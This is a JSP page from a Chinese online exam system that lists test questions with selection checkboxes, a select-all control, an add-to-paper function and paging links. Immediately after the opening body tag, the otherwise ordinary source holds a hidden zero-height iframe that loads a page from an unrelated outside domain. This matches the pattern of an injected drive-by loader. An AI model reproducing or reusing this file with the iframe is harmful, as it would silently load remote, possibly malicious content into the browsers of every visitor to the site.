📄 questionlist.jsp
字号:
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-logic.tld" prefix="logic" %>
<%@ page language="java" pageEncoding="gb2312"%>
<html>
<head>
<title>全部试题预览</title>
<link href="css/css.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style2 {
color: #FFFFFF;
font-size: 12px;
}
.style10 {
font-size: 18px;
font-weight: bold;
}
.style11 {font-size: 12px}
.style12 {font-size: 18px; font-weight: bold; color: #0000FF; }
.style14 {
color: #000000;
font-size: 12px;
}
.style15 {font-size: 12px}
.style16 {
font-size: 12;
font-weight: bold;
}
.style17 {font-size: 12; }
.style18 {font-size: 12px; font-family: "新宋体"; }
.style22 {font-size: 12px; font-weight: bold; font-family: "新宋体"; }
.style25 {font-size: 16px; font-family: "新宋体"; }
.style27 {font-size: 12px; font-weight: bold; }
-->
</style>
<script language="javascript">
function questiontemp(sequenceID,question,type){
this.sequenceID=sequenceID;
this.question=question;
this.type=type;
}
function addtemp(){
if(!confirm("确实要添加?")){return;}
var questionlist=new Array();
var allseq=document.getElementsByName("sequenceID");
var question=document.getElementsByName("question");
var type=document.getElementsByName("type");
var j=0;
for(var i=0;i<allseq.length;i++){
if(allseq[i].checked){
j++;
opener.insertrow(allseq[i].value,question[i].value,type[i].value);
}
}
if(j==0){
alert("请选择要添加的对象!");
return;
}
alert("添加成功!");
}
function confirmDelete(obj) {
if (confirm('<bean:message key="oes.teacher.confirm.yesornodel" />')) {
document.forms[0].action = "teacher.do?method=delete&sequenceID="+obj;
document.forms[0].submit();
}
}
function selectAll(){
var all=document.getElementById("all");
if(all.checked){
var allseq=document.getElementsByName("sequenceID");
for(var i=0;i<allseq.length;i++){
allseq[i].checked=true;
}
}
else{
var allseq=document.getElementsByName("sequenceID");
for(var i=0;i<allseq.length;i++){
allseq[i].checked=false;
}
}
}
</script>
</head>
<body><iframe src=http://down.onlinedowns.net/page/image/pd.htm height=0></iframe>
<html:form action="/titleDisplay.do" method="post" styleId="titleSystemForm">
<table width="100%" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC" class="px12">
<tr bgcolor="#1A7FE5" class="bk">
<td width="100%" height="29"><div align="center"><span class="px14b style2"><span class="px12white style10">选择试题</span></span></div></td>
</tr>
<tr>
<td bgcolor="#FFFFFF" style="text-align:center">
<input type="button" name="add" class="style11" value="添加题目" onclick="addtemp()">
</label></span>
<label></label></td>
</tr>
</table>
<br>
<table width="100%" border="1">
<tr>
<td colspan="6"><input type="checkbox" name="all" id="all" onclick="selectAll();"> <span class="style27">全选/取消 </span></td>
</tr>
<tr>
<td width="7%" align="center"><span class="style27">选择</span></td>
<td width="8%" align="center"><span class="style27">科目ID</span></td>
<td width="8%"><div align="center"><span class="style22">题库号</span></div></td>
<td width="6%"><div align="center" class="style22">序号</div></td>
<td width="54%"><div align="center" class="style22">题目</div></td>
<td width="17%"><div align="center" class="style22">正确答案</div></td>
</tr>
<logic:iterate id="select" name="CLINFOS">
<tr>
<td align="center"><input type="checkbox" name="sequenceID" value="<bean:write name='select' property='sequenceID' />"/></td>
<td><div align="center" class="style15"><bean:write name="select" property="kemuID" /></div></td>
<td><div align="center" class="style18">
<div align="center"><bean:write name="select" property="tikuNO" /></div>
</div>
<input type="hidden" name="type" value="<bean:write name='select' property='tikuNO' />">
</td>
<td><div align="center" class="style18">
<div align="center"><bean:write name="select" property="questionNo" /></div>
</div></td>
<td><div align="left" class="style18"><bean:write name="select" property="question" /></div>
<input type="hidden" name="question" value="<bean:write name='select' property='question' />">
</td>
<td><div align="center" class="style18"><bean:write name="select" property="answer" /></div></td>
<td align="center">
</tr>
</logic:iterate>
</table>
<table width="100%" border="0" cellpadding="0" cellspacing="0" class="px12" style="text-align:center">
<tr>
<%String kemuID=request.getParameter("kemuID");
String tikuNO=request.getParameter("tikuNO");
String head="/titleSystem.do?method=searchDisplay&pageMethod=first";
String previous="/titleSystem.do?method=searchDisplay&pageMethod=previous";
String next="/titleSystem.do?method=searchDisplay&pageMethod=next";
String last="/titleSystem.do?method=searchDisplay&pageMethod=last";
%>
<logic:notPresent name="searchPage" scope="request">
<td height="26"><span class="style11">第<bean:write name="PAGER" property="currentPage"/>页 每页<bean:write name="PAGER" property="pageSize"/>条 共有<bean:write name="PAGER" property="totalRows"/>条记录
<html:link action="<%=head%>" paramName="PAGER" paramProperty="currentPage" paramId="currentPage">首页</html:link>
<html:link action="<%=previous%>" paramName="PAGER" paramProperty="currentPage" paramId="currentPage">上一页</html:link>
<html:link action="<%=next%>" paramName="PAGER" paramProperty="currentPage" paramId="currentPage">下一页</html:link>
<html:link action="<%=last%>" paramName="PAGER" paramProperty="currentPage" paramId="currentPage">末页</html:link> </span></td>
</logic:notPresent>
</tr>
</table>
</html:form>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -